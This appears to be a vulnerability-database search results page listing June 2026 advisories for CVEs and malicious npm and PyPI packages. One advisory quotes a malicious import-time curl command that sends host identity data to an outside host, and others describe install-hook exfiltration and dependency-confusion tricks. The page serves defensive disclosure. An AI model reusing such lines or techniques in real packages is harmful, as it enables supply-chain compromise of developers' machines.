Lucene search
+L

44005 matches found

OSV
OSV
added 2026/06/25 10:34 p.m.11 views

GO-2026-5622 Arbitrary host CRI log file read via symlink following in CRI checkpoint restore in github.com/containerd/containerd

Arbitrary host CRI log file read via symlink following in CRI checkpoint restore in github.com/containerd/containerd...

8.2CVSS5.8AI score0.00186EPSS
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/06/25 10:30 p.m.12 views

Malicious code in gx-npm-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04e5ac6b8b24f2c158c37d3d6ac268bbf7f472433660064491538ee468cfcfcb Package published at version 99.99.99 under the gx-npm- namespace, a shape designed to win npm version resolution against private internal packages o...

5.8AI score
SaveExploits0References2
OSV
OSV
added 2026/06/25 10:30 p.m.9 views

MAL-2026-6481 Malicious code in gx-npm-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04e5ac6b8b24f2c158c37d3d6ac268bbf7f472433660064491538ee468cfcfcb Package published at version 99.99.99 under the gx-npm- namespace, a shape designed to win npm version resolution against private internal packages o...

5.8AI score
SaveExploits0References2
CVE
CVE
added 2026/06/25 10:29 p.m.33 views

CVE-2026-40080

The CVE CVE-2026-40080 affects Cacti (open source performance and fault management framework) up to version 1.2.30. The vulnerability is an Open Redirect: login flow uses $_SERVER['HTTP_REFERER'] when login_opts == '1' and checks the referer with a substring (str_contains($referer, CACTI_PATH_URL...

6.1CVSS5.8AI score0.00192EPSS
SaveExploits1References2Affected Software1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/06/25 10:29 p.m.12 views

Malicious code in velocityfix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c937a54c3629f80fb7b92fbdafda502706b6028b43bc4675eb30c55d9bc059e9 Package masquerades as 'Performance fixes for Minecraft Velocity proxy' authored by 'Velocity Team' — Velocity is a Java project from PaperMC and has...

5.8AI score
SaveExploits0References6
OSV
OSV
added 2026/06/25 10:23 p.m.5 views

MAL-2026-6479 Malicious code in @salem_jalal/osc-components (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cb26651411f61b6420c6291f7b3a7a4869bb670f1d4c75ddfc37481c50f3aae7 The package's postinstall hook install.js, wired via package.json scripts.postinstall runs on every npm install and transmits installer host...

5.9AI score
SaveExploits0References1
EUVD
EUVD
added 2026/06/25 10:15 p.m.12 views

EUVD-2026-31393

golang.org/x/crypto/ssh is vulnerable to invoking server panic during CheckHostKey/Authenticate flow...

5.3CVSS5.8AI score0.00504EPSS
SaveExploits0References6
OSV
OSV
added 2026/06/25 10:15 p.m.5 views

GHSA-78MQ-XCR3-XM33 golang.org/x/crypto is vulnerable to invoking server panic during CheckHostKey/Authenticate flow

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil...

5.3CVSS6AI score0.00504EPSS
SaveExploits0References45
Github Security Blog
Github Security Blog
added 2026/06/25 10:15 p.m.9 views

golang.org/x/crypto is vulnerable to invoking server panic during CheckHostKey/Authenticate flow

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil...

7.5CVSS6AI score0.00504EPSS
SaveExploits0References45Affected Software1
OSV
OSV
added 2026/06/25 10:13 p.m.9 views

MAL-2026-6485 Malicious code in starship-timeline (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8a4e552337fa70064e0a04644ee5a64378809a85b281eda24707bc9a6eba473f [email protected] ships no real functionality. Its package.json declares a preinstall hook "preinstall": "node index.js" that runs automaticall...

5.9AI score
SaveExploits0References1
CVE
CVE
added 2026/06/25 9:15 p.m.45 views

CVE-2026-11703

The CVE-2026-11703 entry describes a vulnerability in stateful (session-ID) TLS resumption where missing SNI/ALPN binding allowed a cached session to be resumed under a different SNI/ALPN than originally negotiated. The root cause is the absence of binding checks for stateful resumption paths, wh...

7.5CVSS5.9AI score0.00211EPSS
SaveExploits0References2Affected Software1
ATTACKERKB
ATTACKERKB
added 2026/06/25 9:15 p.m.10 views

CVE-2026-11703

Missing SNI/ALPN binding on stateful session-ID resumption, which previously skipped the binding check performed for ticket-based resumption. A cached session could be resumed under a different SNI/ALPN than originally negotiated and, where client-authentication policy differs across virtual host...

6CVSS5.9AI score0.00211EPSS
SaveExploits0References3Affected Software1
OSV
OSV
added 2026/06/25 9:11 p.m.13 views

MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

6.7AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/06/25 8:26 p.m.13 views

Malicious code in textshape-css (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60 The package presents itself as a Tailwind CSS typography plugin its name, description, and source tree clone @tailwindcss/typography, but src/index.j...

6.1AI score
SaveExploits0References2
OSV
OSV
added 2026/06/25 8:26 p.m.19 views

MAL-2026-6475 Malicious code in textshape-css (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60 The package presents itself as a Tailwind CSS typography plugin its name, description, and source tree clone @tailwindcss/typography, but src/index.j...

6.1AI score
SaveExploits0References2
NVD
NVD
added 2026/06/25 7:16 p.m.13 views

CVE-2026-4930

SYMCRYPTO is the SiXG301's host side hardware engine accessed by PSA crypto library that accelerates symmetric cryptographic operations AES encryption/decryption and hashing. DPA Countermeasures on SYMCRYPTO can be weakened reduced entropy by forcing certain seed values if an attacker gains code...

7.1CVSS0.00101EPSS
SaveExploits0References1
OSV
OSV
added 2026/06/25 6:43 p.m.8 views

GO-2026-5308 Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend

Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend...

7.7CVSS5.8AI score0.00307EPSS
SaveExploits0References3
OSV
OSV
added 2026/06/25 6:43 p.m.8 views

GO-2026-5367 Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox — cross-tenant data access and host escape in github.com/daytonaio/daytona

Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox — cross-tenant data access and host escape in github.com/daytonaio/daytona...

4.2CVSS6AI score0.00172EPSS
SaveExploits0References1
OSV
OSV
added 2026/06/25 6:43 p.m.9 views

GO-2026-5390 MCP Gateway: Authority-injection and JWT/session bypass via the unauthenticated router hair-pin "router-key" / "mcp-init-host" path in github.com/Kuadrant/mcp-gateway

MCP Gateway: Authority-injection and JWT/session bypass via the unauthenticated router hair-pin "router-key" / "mcp-init-host" path in github.com/Kuadrant/mcp-gateway...

5.8AI score
SaveExploits0References1
OSV
OSV
added 2026/06/25 6:43 p.m.11 views

GO-2026-5344 Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host in github.com/boxlite-ai/boxlite/sdks/go

Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host in github.com/boxlite-ai/boxlite/sdks/go...

9.6CVSS5.9AI score0.00482EPSS
SaveExploits0References4
Rows per page
Query Builder